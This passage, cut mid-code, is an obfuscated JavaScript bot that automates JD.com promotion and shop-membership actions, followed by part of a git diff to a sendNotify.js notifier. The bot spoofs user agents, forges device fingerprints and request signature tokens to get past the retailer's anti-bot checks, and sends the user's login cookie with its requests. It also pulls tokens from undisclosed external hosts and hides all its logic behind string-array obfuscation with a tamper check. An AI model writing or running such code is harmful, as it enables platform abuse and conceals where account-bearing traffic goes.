__Oxefe75[0x5d]){$[__Oxefe75[0x1c]]= true};if(_0x4432x18== __Oxefe75[0x49]){$[__Oxefe75[0x1b]]= true};if(_0x4432x18== __Oxefe75[0x52]){$[__Oxefe75[0x1b]]= true}}else {$[__Oxefe75[0x1b]]= false;$[__Oxefe75[0x1c]]= false;dealReturn(_0x4432x18,_0x4432x21)}}catch(e){console[__Oxefe75[0xf]](e,_0x4432x20)}finally{_0x4432x1e()}})})}async function dealReturn(_0x4432x18,_0x4432x21){let _0x4432x23=__Oxefe75[0x1];try{if(_0x4432x18!= __Oxefe75[0x98]|| _0x4432x18!= __Oxefe75[0x99]){if(_0x4432x21){_0x4432x23= JSON[__Oxefe75[0x9a]](_0x4432x21)}}}catch(e){console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x18}${__Oxefe75[0x9b]}`);if(_0x4432x18== __Oxefe75[0x51]){$[__Oxefe75[0x1b]]= true};if(_0x4432x18== __Oxefe75[0x5d]){$[__Oxefe75[0x1c]]= true};if(_0x4432x18== __Oxefe75[0x49]){$[__Oxefe75[0x1b]]= true};if(_0x4432x18== __Oxefe75[0x52]){$[__Oxefe75[0x1b]]= true};$[__Oxefe75[0x69]]= false};try{let _0x4432x24=__Oxefe75[0x1];switch(_0x4432x18){case __Oxefe75[0x47]:if( typeof _0x4432x23== __Oxefe75[0x9c]){if(_0x4432x23[__Oxefe75[0x9d]]== 0){if( typeof _0x4432x23[__Oxefe75[0x9e]]!= __Oxefe75[0x9f]){$[__Oxefe75[0x45]]= _0x4432x23[__Oxefe75[0x9e]]}}else {if(_0x4432x23[__Oxefe75[0xa0]]){console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x18}${__Oxefe75[0xa1]}${_0x4432x23[__Oxefe75[0xa0]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`)}else {console[__Oxefe75[0xf]](_0x4432x21)}}}else {console[__Oxefe75[0xf]](_0x4432x21)};break;case __Oxefe75[0x98]:;case __Oxefe75[0x99]:;case __Oxefe75[0x49]:;case __Oxefe75[0x5d]:;case __Oxefe75[0x7c]:;case __Oxefe75[0x52]:if( typeof _0x4432x23== __Oxefe75[0x9c]){if(_0x4432x23[__Oxefe75[0xa2]]== true){$[__Oxefe75[0xa3]]= [];$[__Oxefe75[0xa3]]= _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xa4]];$[__Oxefe75[0x54]]= [];$[__Oxefe75[0x56]]= [];Object[__Oxefe75[0xa6]]($[__Oxefe75[0xa3]])[__Oxefe75[0x8]](function(_0x4432x25){$[__Oxefe75[0x54]][__Oxefe75[0x7]](_0x4432x25[__Oxefe75[0x33]]);if(_0x4432x25[__Oxefe75[0xa5]]== false){$[__Oxefe75[0x56]][__Oxefe75[0x7]](_0x4432x25[__Oxefe75[0x33]])}})}};case __Oxefe75[0xa7]:;case __Oxefe75[0xa8]:;case __Oxefe75[0xa9]:;case __Oxefe75[0xaa]:;case __Oxefe75[0x8a]:;case __Oxefe75[0x8c]:;case __Oxefe75[0x70]:;case __Oxefe75[0x71]:;case __Oxefe75[0x6e]:_0x4432x24= __Oxefe75[0x1];if(_0x4432x18== __Oxefe75[0x8a]){_0x4432x24= __Oxefe75[0xab]};if(_0x4432x18== __Oxefe75[0x8c]){_0x4432x24= __Oxefe75[0xac]};if( typeof _0x4432x23== __Oxefe75[0x9c]){if(_0x4432x23[__Oxefe75[0xa2]]&& _0x4432x23[__Oxefe75[0xa2]]=== true&& _0x4432x23[__Oxefe75[0xa4]]){if(_0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xad]]&& _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xad]]== 200){_0x4432x23= _0x4432x23[__Oxefe75[0xa4]];if(_0x4432x18!= __Oxefe75[0xa8]&& (_0x4432x23[__Oxefe75[0x26]]|| _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xae]]|| _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xaf]])){console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x24&& _0x4432x24+ __Oxefe75[0xb0]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}${_0x4432x23[__Oxefe75[0x26]]|| _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xae]]|| _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xaf]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`)};if(_0x4432x18== __Oxefe75[0x49]){if(_0x4432x23[__Oxefe75[0x26]]|| _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xae]]){if((_0x4432x23[__Oxefe75[0x26]]|| _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xae]]|| __Oxefe75[0x1])[__Oxefe75[0x5f]](__Oxefe75[0xb1])> -1){$[__Oxefe75[0x50]]= 1}};if(_0x4432x23[__Oxefe75[0xa4]]){$[__Oxefe75[0x44]]= _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xb2]][__Oxefe75[0x44]]|| 0;$[__Oxefe75[0x40]]= _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xb3]]|| __Oxefe75[0x1];$[__Oxefe75[0x1e]]= _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xb4]][__Oxefe75[0x1e]]|| 0;$[__Oxefe75[0x65]]= _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xb4]][__Oxefe75[0x65]]|| 0}}else {if(_0x4432x18== __Oxefe75[0x7c]){}else {if(_0x4432x18== __Oxefe75[0x5d]){if(_0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xaf]][__Oxefe75[0x5f]](__Oxefe75[0xb5])> -1){$[__Oxefe75[0x5a]]= true}else {$[__Oxefe75[0x5a]]= false}}else {if(_0x4432x18== __Oxefe75[0xa9]){$[__Oxefe75[0xb6]]= _0x4432x23[__Oxefe75[0x26]]|| _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0x26]]|| __Oxefe75[0x1]}else {if(_0x4432x18== __Oxefe75[0x70]){console[__Oxefe75[0xf]](`${__Oxefe75[0xb7]}`);let _0x4432x26=0;let _0x4432x27=0;for(let _0x4432x13 in _0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xb8]]|| []){let _0x4432xb=_0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xb8]][_0x4432x13];_0x4432x27+= Number(_0x4432xb[__Oxefe75[0xb9]])};if(_0x4432x27> 0){console[__Oxefe75[0xf]](`${__Oxefe75[0xba]}${_0x4432x27}${__Oxefe75[0xbb]}`)}}else {if(_0x4432x18== __Oxefe75[0x71]){console[__Oxefe75[0xf]](`${__Oxefe75[0xbc]}${_0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0xbe]][__Oxefe75[0xbd]]}${__Oxefe75[0xbf]}`)}}}}}}}else {if(_0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0x26]]){if(_0x4432x23[__Oxefe75[0xc1]][__Oxefe75[0x5f]](__Oxefe75[0xc0])> -1){$[__Oxefe75[0x1a]]= true};console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x24|| _0x4432x18}${__Oxefe75[0xa1]}${_0x4432x23[__Oxefe75[0xa4]][__Oxefe75[0x26]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`)}else {if(_0x4432x23[__Oxefe75[0xc1]]){if(_0x4432x23[__Oxefe75[0xc1]][__Oxefe75[0x5f]](__Oxefe75[0xc2])> -1){$[__Oxefe75[0x18]]= true};console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x24|| _0x4432x18}${__Oxefe75[0xa1]}${_0x4432x23[__Oxefe75[0xc1]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`)}else {if(_0x4432x21[__Oxefe75[0x5f]](__Oxefe75[0xc3])> -1){console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x24|| _0x4432x18}${__Oxefe75[0xc4]}`)}else {console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x24|| _0x4432x18}${__Oxefe75[0xa1]}${_0x4432x21}${__Oxefe75[0x1]}`)}}}}}else {if(_0x4432x23[__Oxefe75[0xc1]]){console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x24|| _0x4432x18}${__Oxefe75[0xa1]}${_0x4432x23[__Oxefe75[0xc1]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`)}else {if(_0x4432x21[__Oxefe75[0x5f]](__Oxefe75[0xc3])> -1){console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x24|| _0x4432x18}${__Oxefe75[0xc4]}`)}else {console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x24|| _0x4432x18}${__Oxefe75[0xa1]}${_0x4432x21}${__Oxefe75[0x1]}`)}}}}else {if(_0x4432x21[__Oxefe75[0x5f]](__Oxefe75[0xc3])> -1){console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x24|| _0x4432x18}${__Oxefe75[0xc4]}`)}else {console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x24|| _0x4432x18}${__Oxefe75[0xa1]}${_0x4432x21}${__Oxefe75[0x1]}`)}};break;default:if(_0x4432x21[__Oxefe75[0x5f]](__Oxefe75[0xc3])> -1){console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x24|| _0x4432x18}${__Oxefe75[0xc4]}`)}else {console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x24|| _0x4432x18}${__Oxefe75[0xa1]}${_0x4432x21}${__Oxefe75[0x1]}`)}};if( typeof _0x4432x23== __Oxefe75[0x9c]){if(_0x4432x23[__Oxefe75[0xc1]]){if(_0x4432x23[__Oxefe75[0xc1]][__Oxefe75[0x5f]](__Oxefe75[0xc2])> -1){$[__Oxefe75[0x18]]= true}}}}catch(e){console[__Oxefe75[0xf]](e)}}function getPostRequest(_0x4432x29,_0x4432x1a,_0x4432x1b= __Oxefe75[0x75]){let _0x4432x2a={"\x41\x63\x63\x65\x70\x74":__Oxefe75[0xc5],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxefe75[0xc6],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxefe75[0xc7],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxefe75[0xc8],"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":__Oxefe75[0xc9],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxefe75[0xca]],"\x58\x2D\x52\x65\x71\x75\x65\x73\x74\x65\x64\x2D\x57\x69\x74\x68":__Oxefe75[0xcb]};if(_0x4432x29[__Oxefe75[0x5f]](__Oxefe75[0x74])> -1){_0x4432x2a[__Oxefe75[0xcc]]= `${__Oxefe75[0x74]}`;_0x4432x2a[__Oxefe75[0xcd]]= `${__Oxefe75[0xce]}`;delete _0x4432x2a[__Oxefe75[0xcf]]};let _0x4432x2b=parseInt(Math[__Oxefe75[0x2a]]()* 2500+ 60000,10);return {url:_0x4432x29,method:_0x4432x1b,headers:_0x4432x2a,body:_0x4432x1a,timeout:_0x4432x2b}}function taskPostUrl(_0x4432x29,_0x4432x2d){const _0x4432x2e={"\x6A\x73\x6F\x6E\x52\x70\x63":__Oxefe75[0xd0],"\x70\x61\x72\x61\x6D\x73":{"\x63\x6F\x6D\x6D\x6F\x6E\x50\x61\x72\x61\x6D\x65\x74\x65\x72":{"\x61\x70\x70\x6B\x65\x79":$[__Oxefe75[0x31]],"\x6D":__Oxefe75[0x75],"\x74\x69\x6D\x65\x73\x74\x61\x6D\x70":Date[__Oxefe75[0x4d]](),"\x75\x73\x65\x72\x49\x64":$[__Oxefe75[0x33]]},"\x61\x64\x6D\x4A\x73\x6F\x6E":{"\x61\x63\x74\x49\x64":$[__Oxefe75[0x35]],"\x75\x73\x65\x72\x49\x64":$[__Oxefe75[0x33]],..._0x4432x2d,"\x6D\x65\x74\x68\x6F\x64":_0x4432x29,"\x62\x75\x79\x65\x72\x4E\x69\x63\x6B":($[__Oxefe75[0x40]]|| __Oxefe75[0x1])}}};Object[__Oxefe75[0xd3]](_0x4432x2e[__Oxefe75[0xd2]][__Oxefe75[0xd1]],_0x4432x2d);let _0x4432x2f=getSign(_0x4432x2e[__Oxefe75[0xd2]][__Oxefe75[0xd1]]);_0x4432x2e[__Oxefe75[0xd2]][__Oxefe75[0xd5]][__Oxefe75[0xd4]]= _0x4432x2f[__Oxefe75[0xd4]];_0x4432x2e[__Oxefe75[0xd2]][__Oxefe75[0xd5]][__Oxefe75[0xd6]]= _0x4432x2f[__Oxefe75[0xd7]];if(_0x4432x29[__Oxefe75[0x5f]](__Oxefe75[0x71])> -1){delete _0x4432x2e[__Oxefe75[0xd2]][__Oxefe75[0xd1]][__Oxefe75[0x35]]};return $[__Oxefe75[0x95]](_0x4432x2e,_0x4432x2e)}async function getUA(){$[__Oxefe75[0xca]]= `${__Oxefe75[0xd8]}${randomString(40)}${__Oxefe75[0xd9]}`}function randomString(_0x4432x12){_0x4432x12= _0x4432x12|| 32;let _0x4432x2d=__Oxefe75[0xda],_0x4432x32=_0x4432x2d[__Oxefe75[0x37]],_0x4432x33=__Oxefe75[0x1];for(i= 0;i< _0x4432x12;i++){_0x4432x33+= _0x4432x2d[__Oxefe75[0xdc]](Math[__Oxefe75[0xdb]](Math[__Oxefe75[0x2a]]()* _0x4432x32))};return _0x4432x33}function jsonParse(_0x4432x35){if( typeof _0x4432x35== __Oxefe75[0xdd]){try{return JSON[__Oxefe75[0x9a]](_0x4432x35)}catch(e){console[__Oxefe75[0xf]](e);$[__Oxefe75[0x26]]($[__Oxefe75[0x23]],__Oxefe75[0x1],__Oxefe75[0xde]);return []}}}function getSign(_0x4432x37){var _0x4432x2d= new Date().valueOf(),_0x4432x38=__Oxefe75[0xdf],_0x4432x32=__Oxefe75[0xe0],_0x4432x39=JSON[__Oxefe75[0xe1]](_0x4432x37),_0x4432x3a=encodeURIComponent(_0x4432x39),_0x4432x2e= new RegExp(__Oxefe75[0xe2],__Oxefe75[0xe3]),_0x4432x3b= new RegExp(__Oxefe75[0xe4],__Oxefe75[0xe3]),_0x4432x3a=_0x4432x3a[__Oxefe75[0xe6]](_0x4432x2e,__Oxefe75[0xe5]),_0x4432x3a=_0x4432x3a[__Oxefe75[0xe6]](_0x4432x3b,__Oxefe75[0xe7]),_0x4432x3c=(_0x4432x32+ __Oxefe75[0xe8]+ _0x4432x32+ __Oxefe75[0xd1]+ _0x4432x3a+ __Oxefe75[0xd6]+ _0x4432x2d+ _0x4432x38);return {'\x73\x69\x67\x6E':CryptoJS.MD5(_0x4432x3c[__Oxefe75[0xe9]]()).toString(),'\x74\x69\x6D\x65\x53\x74\x61\x6D\x70':_0x4432x2d}}function joinShop(){if(!$[__Oxefe75[0x5b]]){return};return new Promise(async (_0x4432x1e)=>{$[__Oxefe75[0xea]]= __Oxefe75[0x1];$[__Oxefe75[0x60]]= __Oxefe75[0x5e]; await getshopactivityId(); await $[__Oxefe75[0x2b]](500);let _0x4432x3e=`${__Oxefe75[0x1]}`;if($[__Oxefe75[0xea]]){_0x4432x3e= `${__Oxefe75[0xeb]}${$[__Oxefe75[0xea]]}${__Oxefe75[0x1]}`};body= __Oxefe75[0xec]+ $[__Oxefe75[0x5b]]+ __Oxefe75[0xed]+ $[__Oxefe75[0x5b]]+ __Oxefe75[0xee];let _0x4432x3f=__Oxefe75[0x1];_0x4432x3f= await getCard($[__Oxefe75[0x5b]]);_0x4432x3f= encodeURIComponent(_0x4432x3f);const _0x4432x40={url:`${__Oxefe75[0xef]}${body}${__Oxefe75[0xf0]}${_0x4432x3f}${__Oxefe75[0x1]}`,headers:{'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':__Oxefe75[0xf1],'\x4F\x72\x69\x67\x69\x6E':__Oxefe75[0xf2],'\x48\x6F\x73\x74':__Oxefe75[0xf3],'\x61\x63\x63\x65\x70\x74':__Oxefe75[0xf4],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':$[__Oxefe75[0xca]],'\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65':__Oxefe75[0xc9],'\x43\x6F\x6F\x6B\x69\x65':cookie}}; await $[__Oxefe75[0x2b]](500);$[__Oxefe75[0xfd]](_0x4432x40,async (_0x4432x1f,_0x4432x20,_0x4432x21)=>{try{let _0x4432x23=$[__Oxefe75[0xf5]](_0x4432x21,_0x4432x21);if( typeof _0x4432x23== __Oxefe75[0x9c]){if(_0x4432x23[__Oxefe75[0xa2]]=== true){$[__Oxefe75[0x60]]= _0x4432x23[__Oxefe75[0xa0]];console[__Oxefe75[0xf]](_0x4432x23[__Oxefe75[0xa0]]);if(_0x4432x23[__Oxefe75[0xf6]]&& _0x4432x23[__Oxefe75[0xf6]][__Oxefe75[0xf7]]){for(let _0x4432x13 of _0x4432x23[__Oxefe75[0xf6]][__Oxefe75[0xf7]][__Oxefe75[0xf8]]){console[__Oxefe75[0xf]](`${__Oxefe75[0xf9]}${_0x4432x13[__Oxefe75[0xfa]]}${__Oxefe75[0x1]}${_0x4432x13[__Oxefe75[0xfb]]}${__Oxefe75[0x1]}${_0x4432x13[__Oxefe75[0xfc]]}${__Oxefe75[0x1]}`)}}}else {if( typeof _0x4432x23== __Oxefe75[0x9c]&& _0x4432x23[__Oxefe75[0xa0]]){$[__Oxefe75[0x60]]= _0x4432x23[__Oxefe75[0xa0]];console[__Oxefe75[0xf]](`${__Oxefe75[0x1]}${_0x4432x23[__Oxefe75[0xa0]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`)}else {console[__Oxefe75[0xf]](_0x4432x21)}}}else {console[__Oxefe75[0xf]](_0x4432x21)}}catch(e){$[__Oxefe75[0x21]](e,_0x4432x20)}finally{_0x4432x1e()}})})}function getshopactivityId(){return new Promise((_0x4432x1e)=>{let _0x4432x3f=`${__Oxefe75[0x1]}${ new Date(Date[__Oxefe75[0x4d]]()).Format(__Oxefe75[0xfe])}${__Oxefe75[0xff]}${generateFp()}${__Oxefe75[0x100]}${Date[__Oxefe75[0x4d]]()}${__Oxefe75[0x1]}`;_0x4432x3f= encodeURIComponent(_0x4432x3f);const _0x4432x40={url:`${__Oxefe75[0x101]}${$[__Oxefe75[0x5b]]}${__Oxefe75[0x102]}${_0x4432x3f}${__Oxefe75[0x1]}`,headers:{'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':__Oxefe75[0xf1],'\x4F\x72\x69\x67\x69\x6E':__Oxefe75[0xf2],'\x48\x6F\x73\x74':__Oxefe75[0xf3],'\x61\x63\x63\x65\x70\x74':__Oxefe75[0xf4],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':$[__Oxefe75[0xca]],'\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65':__Oxefe75[0xc9],'\x43\x6F\x6F\x6B\x69\x65':cookie}};$[__Oxefe75[0xfd]](_0x4432x40,async (_0x4432x1f,_0x4432x20,_0x4432x21)=>{try{let _0x4432x23=$[__Oxefe75[0xf5]](_0x4432x21,_0x4432x21);if( typeof _0x4432x23== __Oxefe75[0x9c]){if(_0x4432x23[__Oxefe75[0xa2]]== true){console[__Oxefe75[0xf]](`${__Oxefe75[0x103]}${_0x4432x23[__Oxefe75[0xf6]][__Oxefe75[0x105]][__Oxefe75[0x104]]|| __Oxefe75[0x1]}${__Oxefe75[0x1]}`);$[__Oxefe75[0xea]]= _0x4432x23[__Oxefe75[0xf6]][__Oxefe75[0x106]]&& _0x4432x23[__Oxefe75[0xf6]][__Oxefe75[0x106]][0x0]&& _0x4432x23[__Oxefe75[0xf6]][__Oxefe75[0x106]][0x0][__Oxefe75[0x107]]&& _0x4432x23[__Oxefe75[0xf6]][__Oxefe75[0x106]][0x0][__Oxefe75[0x107]][__Oxefe75[0x108]]|| __Oxefe75[0x1]}}else {console[__Oxefe75[0xf]](_0x4432x21)}}catch(e){$[__Oxefe75[0x21]](e,_0x4432x20)}finally{_0x4432x1e()}})})}function generateFp(){let _0x4432x12=__Oxefe75[0x109];let _0x4432x32=13;let _0x4432x13=__Oxefe75[0x1];for(;_0x4432x32--;){_0x4432x13+= _0x4432x12[Math[__Oxefe75[0x2a]]()* _0x4432x12[__Oxefe75[0x37]]| 0]};return (_0x4432x13+ Date[__Oxefe75[0x4d]]())[__Oxefe75[0x10a]](0,16)}function geth5st(){let _0x4432x44=Date[__Oxefe75[0x4d]]();let _0x4432x45=generateFp();let _0x4432x46= new Date(_0x4432x44).Format(__Oxefe75[0xfe]);let _0x4432x47=__Oxefe75[0x1];let _0x4432x48=__Oxefe75[0x1];let _0x4432x49=[__Oxefe75[0x10b],__Oxefe75[0x10c],__Oxefe75[0x10d]];let _0x4432x4a=_0x4432x49[random(0,_0x4432x49[__Oxefe75[0x37]])];return encodeURIComponent(_0x4432x46+ __Oxefe75[0xff]+ _0x4432x4a+ _0x4432x45+ __Oxefe75[0x1]+ Date[__Oxefe75[0x4d]]())}function getH5st(){let _0x4432x44=Date[__Oxefe75[0x4d]]();let _0x4432x45=generateFp();let _0x4432x46= new Date(_0x4432x44).Format(__Oxefe75[0xfe]);return encodeURIComponent(_0x4432x46+ __Oxefe75[0xff]+ __Oxefe75[0x1]+ _0x4432x45+ __Oxefe75[0x10c]+ Date[__Oxefe75[0x4d]]())}Date[__Oxefe75[0x10f]][__Oxefe75[0x10e]]= function(_0x4432x4c){var _0x4432x12,_0x4432x33=this,_0x4432x4d=_0x4432x4c,_0x4432x4e={"\x4D\x2B":_0x4432x33[__Oxefe75[0x110]]()+ 1,"\x64\x2B":_0x4432x33[__Oxefe75[0x111]](),"\x44\x2B":_0x4432x33[__Oxefe75[0x111]](),"\x68\x2B":_0x4432x33[__Oxefe75[0x112]](),"\x48\x2B":_0x4432x33[__Oxefe75[0x112]](),"\x6D\x2B":_0x4432x33[__Oxefe75[0x113]](),"\x73\x2B":_0x4432x33[__Oxefe75[0x114]](),"\x77\x2B":_0x4432x33[__Oxefe75[0x115]](),"\x71\x2B":Math[__Oxefe75[0xdb]]((_0x4432x33[__Oxefe75[0x110]]()+ 3)/ 3),"\x53\x2B":_0x4432x33[__Oxefe75[0x116]]()};/(y+)/i[__Oxefe75[0x117]](_0x4432x4d)&& (_0x4432x4d= _0x4432x4d[__Oxefe75[0xe6]](RegExp.$1,__Oxefe75[0x1][__Oxefe75[0x11b]](_0x4432x33[__Oxefe75[0x11a]]())[__Oxefe75[0x119]](4- RegExp[__Oxefe75[0x118]][__Oxefe75[0x37]])));for(var _0x4432x4f in _0x4432x4e){if( new RegExp(__Oxefe75[0x11c][__Oxefe75[0x11b]](_0x4432x4f,__Oxefe75[0xbf]))[__Oxefe75[0x117]](_0x4432x4d)){var _0x4432x2d,_0x4432x32=__Oxefe75[0x11d]=== _0x4432x4f?__Oxefe75[0x11e]:__Oxefe75[0x11f];_0x4432x4d= _0x4432x4d[__Oxefe75[0xe6]](RegExp.$1,1== RegExp[__Oxefe75[0x118]][__Oxefe75[0x37]]?_0x4432x4e[_0x4432x4f]:(__Oxefe75[0x1][__Oxefe75[0x11b]](_0x4432x32)+ _0x4432x4e[_0x4432x4f])[__Oxefe75[0x119]](__Oxefe75[0x1][__Oxefe75[0x11b]](_0x4432x4e[_0x4432x4f])[__Oxefe75[0x37]]))}};return _0x4432x4d};function getAuthorCode(){return new Promise((_0x4432x1e)=>{$[__Oxefe75[0xfd]]({url:`${__Oxefe75[0x120]}${Date[__Oxefe75[0x4d]]()}${__Oxefe75[0x1]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxefe75[0x121]},timeout:99000},(_0x4432x1f,_0x4432x20,_0x4432x21)=>{try{if(_0x4432x1f){console[__Oxefe75[0xf]](`${__Oxefe75[0x122]}`)}else {if(_0x4432x21== __Oxefe75[0x1]){_0x4432x21= __Oxefe75[0x1]}else {_0x4432x21= _0x4432x21;$[__Oxefe75[0x1d]]= _0x4432x21}}}catch(e){_0x4432x21= __Oxefe75[0x1];$[__Oxefe75[0x1d]]= __Oxefe75[0x1]}finally{_0x4432x1e(_0x4432x21|| __Oxefe75[0x1])}})})}function getCard(_0x4432x52){return new Promise((_0x4432x1e)=>{$[__Oxefe75[0xfd]]({url:`${__Oxefe75[0x1]}${url2}${__Oxefe75[0x123]}${_0x4432x52}${__Oxefe75[0x1]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":ver2},timeout:99000},(_0x4432x1f,_0x4432x20,_0x4432x21)=>{try{if(_0x4432x1f){console[__Oxefe75[0xf]](`${__Oxefe75[0x122]}`)}else {_0x4432x21= _0x4432x21}}catch(e){}finally{_0x4432x1e(_0x4432x21|| __Oxefe75[0x1])}})})}function getToken(){return new Promise((_0x4432x1e)=>{$[__Oxefe75[0xfd]]({url:`${__Oxefe75[0x1]}${url1}${__Oxefe75[0x124]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":ver1},timeout:99000},(_0x4432x1f,_0x4432x20,_0x4432x21)=>{try{if(_0x4432x1f){console[__Oxefe75[0xf]](`${__Oxefe75[0x122]}`)}else {try{_0x4432x21= JSON[__Oxefe75[0x9a]](_0x4432x21);if(_0x4432x21[__Oxefe75[0x125]]== 0){_0x4432x21= _0x4432x21[__Oxefe75[0xa4]]}else {_0x4432x21= __Oxefe75[0x1]}}catch(e){_0x4432x21= __Oxefe75[0x1]}}}catch(e){}finally{_0x4432x1e(_0x4432x21|| __Oxefe75[0x1])}})})}function random(_0x4432x55,_0x4432x56){return Math[__Oxefe75[0xdb]](Math[__Oxefe75[0x2a]]()* (_0x4432x56- _0x4432x55))+ _0x4432x55}(function(_0x4432x2e,_0x4432x3b,_0x4432x57,_0x4432x58,_0x4432x59,_0x4432x4f){_0x4432x4f= __Oxefe75[0x9f];_0x4432x58= function(_0x4432x5a){if( typeof alert!== _0x4432x4f){alert(_0x4432x5a)};if( typeof console!== _0x4432x4f){console[__Oxefe75[0xf]](_0x4432x5a)}};_0x4432x57= function(_0x4432x32,_0x4432x2e){return _0x4432x32+ _0x4432x2e};_0x4432x59= _0x4432x57(__Oxefe75[0x126],_0x4432x57(_0x4432x57(__Oxefe75[0x127],__Oxefe75[0x128]),__Oxefe75[0x129]));try{_0x4432x2e= __encode;if(!( typeof _0x4432x2e!== _0x4432x4f&& _0x4432x2e=== _0x4432x57(__Oxefe75[0x12a],__Oxefe75[0x12b]))){_0x4432x58(_0x4432x59)}}catch(e){_0x4432x58(_0x4432x59)}})({}) // prettier-ignore diff --git a/sendNotify.js b/sendNotify.js index 8598aab..be6e583 100644 --- a/sendNotify.js +++ b/sendNotify.js @@ -21,7 +21,7 @@ const querystring = require('querystring'); const exec = require('child_process').exec; const $ = new Env(); const timeout = 15000; //超时时间(单位毫秒) -console.log("加载sendNotify,当前版本: 20220723"); +console.log("加载sendNotify,当前版本: 20221118"); // =======================================go-cqhttp通知设置区域=========================================== //gobot_url 填写请求地址http://127.0.0.1/send_private_msg //gobot_token 填写在go-cqhttp文件设置的访问密钥 @@ -1968,7 +1968,7 @@ function GetnickName() { Accept: "*/*", Connection: "keep-alive", Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.42", "Accept-Language": "zh-cn", "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" @@ -2005,16 +2005,17 @@ function GetnickName() { function GetnickName2() { return new Promise(async(resolve) => { const options = { - url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, - headers: { - Cookie: cookie, - 'content-type': `application/x-www-form-urlencoded`, - Connection: `keep-alive`, - 'Accept-Encoding': `gzip,compress,br,deflate`, - Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, - Host: `wxapp.m.jd.com`, - 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, - }, + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) 